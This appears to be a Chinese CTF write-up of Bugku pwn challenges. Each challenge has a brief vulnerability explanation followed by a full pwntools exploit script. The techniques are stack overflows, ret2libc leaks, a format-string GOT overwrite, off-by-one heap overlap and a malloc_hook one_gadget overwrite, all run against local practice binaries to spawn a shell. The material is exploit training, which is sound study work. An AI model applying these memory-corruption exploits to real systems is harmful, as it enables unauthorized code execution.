[new bugku] pwn

最简单的pwn

  • nc然后cat flag

pwn3

  • 64位栈溢出,程序有后门,栈溢出然后return到后门即可
1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./pwn3')

p.recvuntil(' something?\n')

payload = 'a'*0x30 + 'bbbbbbbb' + p64(0x400751)
p.sendline(payload)

p.interactive()

pwn7

  • 32位教科书栈溢出,先利用write函数泄漏libc地址,然后得到system和binsh地址,最后再system(‘/bin/sh\x00’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level = 'debug'

p = process('./pwn7')
elf = ELF('./pwn7')

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']

p.recvuntil('your name:\n')
payload = 'a'*0x24 + 'bbbb' + p32(write_plt) + p32(0x0804846B)
payload += p32(1) + p32(write_got) + p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
log.success('write addr : 0x%x'%write_addr)
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh

payload = 'a'*0x24 + 'bbbb' + p32(system_addr) + p32(0xdeadbeef)
payload += p32(binsh_addr)
p.sendline(payload)

p.interactive()

pwn11

  • 首先程序是个比较简单的32位elf,是个猜数字游戏
  • 漏洞点在read_name函数有个整数溢出,v2为有符号数,而for循环中i为无符号数,所以当有符号数与无符号数比较时,会将有符号数强制转换成无符号数,当输入-1时,v2在比较中就变成了最大的正数,因此可以栈溢出

  • 程序正好有个后门,直接栈溢出执行后门即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'

p = process('./f4n_pwn')

p.recvuntil('length : ')
p.sendline('-1')
payload = 'a'*0x57 + p32(0x080486BB)
p.recvuntil('name : \n')
p.sendline(payload)

p.interactive()

pwn9

  • 栈的格式化字符串漏洞,只有一次机会,由于程序开了canary,所以可以将stack_chk_fail@got改成后门地址,当栈溢出时程序执行stack_chk_fail函数既能getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

p = process('./babyfmt')
elf = ELF('./babyfmt')

stack_chk_fail_got = elf.got['__stack_chk_fail']
#gdb.attach(p)
payload = 'aaaaa%1569d%8$hn' + p64(stack_chk_fail_got)
payload += 'a'*0x60
p.sendline(payload)

p.interactive()

pwn4

  • 栈溢出漏洞,程序有system函数,但是没binsh,但是有$0,system($0)可以getshell(略坑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'

p = process('./pwn4')
elf = ELF('./pwn4')

read_plt = elf.plt['read']
read_got = elf.got['read']
system = elf.plt['system']
pop_ret = 0x4007d3
binsh_addr = 0x60111F

p.recvuntil('pwn me\n')
payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_ret) + p64(binsh_addr) + p64(system)
p.sendline(payload)

p.interactive()

pwn5

  • 栈上格式化漏洞配合栈溢出漏洞,首先利用格式化泄漏libc地址,然后栈溢出执行system(‘/bin/sh\x00’)

  • 可以得到__libc_start_main_ret地址的偏移为 0x28/8.0 + 6 (64位elf前6个参数为寄存器传参) = 11,然后泄漏libc,得到system和sh的地址

  • 想到栈溢出需要绕过循环,循环中判断输入是否为”鸽子”,”真香”的母串,于是输入中需要有这两个词才能ret到system函数否则直接退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8
from pwn import *

context.log_level = 'debug'

p = process('./human')

p.recvuntil('\n\n')
p.sendline('%11$p')
libc_start_main_ret = int(p.recvuntil('\n',drop=True)[2:],16)
log.success('__libc_start_main_ret : 0x%x'%libc_start_main_ret)
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
libc_base = libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_rdi = 0x400933
gdb.attach(p)
payload = 'a鸽子' + 'a'
payload += '真香' + '\x00'
payload = payload.ljust(0x20,'a')
payload += 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.recvuntil('?\n')
p.sendline(payload)

p.interactive()

pwn6

  • edit函数存在off by one,可以修改next chunk的size,然后chunk overlapping控制下一堆块的内容,然后修改指针,泄漏地址以及改free_got为system地址,具体可参照hitcon training lab13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.log_level = 'debug'

def write(size,content):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('note :')
p.sendline(str(size))
p.recvuntil('note:')
p.sendline(content)

def edit(id,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' note :')
p.sendline(str(id))
p.recvuntil('note : ')
p.sendline(content)

def show(id):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('note :')
p.sendline(str(id))

def delete(id):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil('note :')
p.sendline(str(id))

def quit():
p.recvuntil('choice :')
p.sendline('5')


p = process('./heap1')
elf = ELF('./heap1')

free_got = elf.got['free']

write(0x18,'a'*0x10) #0
write(0x10,'b'*0x10) #1
write(0x10,'/bin/sh\x00') #2

edit(0,'a'*0x18 + '\x61')
delete(1)
write(0x50,'ddddd') #1
edit(1,'d'*0x18+p64(0x21)+p64(0x50)+p64(free_got))
# leak freeaddr
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
offset_free = 0x00000000000844f0
offset_system = 0x0000000000045390
libc_base = free_addr - offset_free
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + offset_system
#gdb.attach(p)
edit(1,p64(system_addr))
delete(2)

p.interactive()

read_note

  • 栈溢出漏洞,但是开了canary和pie,所以我们先要利用puts函数泄漏canary,elf_base,和libc_base,然后ret到system(‘/bin/sh\x00’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

context.log_level = 'debug'

p = process('./read_note')

#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)

# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)


p.interactive()

pwn10

  • 有个堆溢出漏洞,通过构造small bins,然后溢出修改next chunk的pre size和size然后利用前向合并得到正在使用的堆块,然后通过unsorted bin泄漏libc,再修改malloc_hook为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

#context.log_level = 'debug'

def create(size):
p.recvuntil('choice:>\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline(str(size))
p.recvuntil('y/n)\n')
p.sendline('n')

def write(index,size,data):
p.recvuntil('choice:>\n')
p.sendline('2')
p.recvuntil('write: ')
p.sendline(str(index))
p.recvuntil('write: ')
p.sendline(str(size))
p.recvuntil('write:\n')
p.send(data)

def view(index):
p.recvuntil('choice:>\n')
p.sendline('4')
p.recvuntil('look: ')
p.sendline(str(index))

def delete(index):
p.recvuntil('choice:>\n')
p.sendline('3')
p.recvuntil('delete: ')
p.sendline(str(index))

p = process('./diary')

create(0x10) #0
create(0x80) #1
write(0,0x6,'aaaa')
create(0x80) #2
create(0x80) #3
create(0x60) #4
create(0x60) #5
create(0x10) #6

delete(1)
payload = p64(0)*16 + p64(0x120) + p64(0x90)
write(2,len(payload),payload)
delete(3)
create(0x80) #1
view(2)

p.recvuntil('---\n')
libc_base = u64(p.recv(8)) - 88 - 0x3c4b20
log.success('libc_base : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3c4b10
log.success('malloc_hook : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x4526a

delete(5)
payload = p64(0)*12 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
write(4,len(payload),payload)
create(0x60) #3
create(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
write(5,len(payload),payload)

p.recvuntil('choice:>\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline('20')
#gdb.attach(p)
p.interactive()